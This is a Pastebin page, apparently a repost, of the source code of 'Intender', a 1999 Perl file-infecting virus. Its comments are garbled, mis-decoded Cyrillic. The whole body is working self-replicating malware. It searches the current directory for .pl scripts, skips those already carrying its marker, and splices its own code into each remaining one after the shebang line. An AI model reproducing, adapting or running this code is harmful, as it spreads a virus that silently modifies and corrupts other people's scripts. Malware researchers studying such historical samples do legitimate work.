Advertisement
FlyFar

Virus.Perl.Intender.a - Source Code

Jun 16th, 2023
1,075
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.30 KB | Cybersecurity | 0 0
  1. #here virus starts
  2. # Intender by -Byst- (c) 1999
  3. $source = __FILE__;
  4. while (<*.pl>)
  5. {
  6.   $name = $_;                    # ˆ¬ï ä ©« -¦¥àâ¢ë
  7.   $cname = crypt($name,$name);   # ˆ¬ï ¯à®¬¥¦ãâ®ç­®£® ä ©«
  8.  
  9.   # à®¢¥à¨¬ ­¥ ¨­ä¨æ¨à®¢ ­ «¨ 㦥 ä ©«?
  10.  
  11.   open(TARGET,"<$name");         # ¦¥àâ¢
  12.   $allready_infected = 0;
  13.   while (<TARGET>) {
  14.    if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
  15.     { $allready_infected = 1;}   # 㦥 ¨­ä¨æ¨à®¢ ­!
  16.   }
  17.   close(TARGET);
  18.   if ($allready_infected == 1 )
  19.    { next;}                      # ¯¥à¥å®¤¨¬ ª á«¥¤ãî饩 ¦¥à⢥
  20.  
  21.   # à®¢¥à¨¬, ­¥â «¨ ¢ ⥫¥ ¦¥àâ¢ë áâப ⨯  !/usr/bin/perl
  22.   open(TARGET,"<$name");         # ¦¥àâ¢
  23.   $flag = 0;
  24.   while (<TARGET>) {
  25.    if (index($_,"\x23!") == 0)   #  諨 â ªãî áâபã
  26.     { $flag = 1;}                # ¢§¢®¤¨¬ ä« £
  27.   }
  28.   close(TARGET);
  29.  
  30.   # ‘®§¤ ¥¬ ç áâì ¢ ª®â®à®© ᮤ¥à¦¨âáï ¢ë§®¢ ¯à®æ¥¤ãàë ¨­ä¨æ¨à®¢ ­¨ï
  31.   open(TARGET,"<$name");         # ¦¥àâ¢
  32.   open(FBUF,">$cname");          # ¯à®¬¥¦ãâ®ç­ë© ä ©«
  33.  
  34.   if ($flag == 1) {              # ã ¦¥àâ¢ë ¥áâì ®¡®§­ 祭¨¥ ­ ç «  ¯à®£à ¬¬ë?
  35.    while (<TARGET>) {            # ¨é¥¬ ¥£®
  36.     print(FBUF);                 # á®åà ­ï¥¬ ¢á¥ áâப¨ ¦¥àâ¢ë ¤® #!
  37.     if (index($_,"\x23!") == 0 ) #  £ , ¢®â ¨ ­ ç «® ¯à®£à ¬¬ë
  38.       { last;}
  39.    }
  40.   }
  41.  
  42.   # ¨é¥¬ ⥫  ¯à®æ¥¤ãà
  43.   $_ = "\n";print(FBUF);
  44.   open(SOURCE,"<$source");       #  â ªãî騩 ä ©«
  45.   while(<SOURCE>) {              # ¨é¥¬ ¯à¨§­ ª ­ ç «  - "#here virus starts"
  46.    if (index($_,"\x23here virus starts") == 0) { last;}
  47.   }
  48.   print(FBUF);
  49.   # ¢¥áì ⥪áâ ¯à®æ¥¤ãà -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
  50.   while (<SOURCE>) {
  51.    print(FBUF);
  52.    if (index($_,"\x23here virus ends") == 0) { last;}
  53.   }
  54.   close(SOURCE);
  55.   $_ = "\n";print(FBUF);
  56.   # ®áâ ¢èãîáï ç áâì ¦¥àâ¢ë -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
  57.   while (<TARGET>) {
  58.    print(FBUF);
  59.   }
  60.   close(TARGET);
  61.   close(FBUF);
  62.   rename($cname,$name);
  63. }
  64. #here virus ends
  65.  
  66.  
Tags: virus perl 90s
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement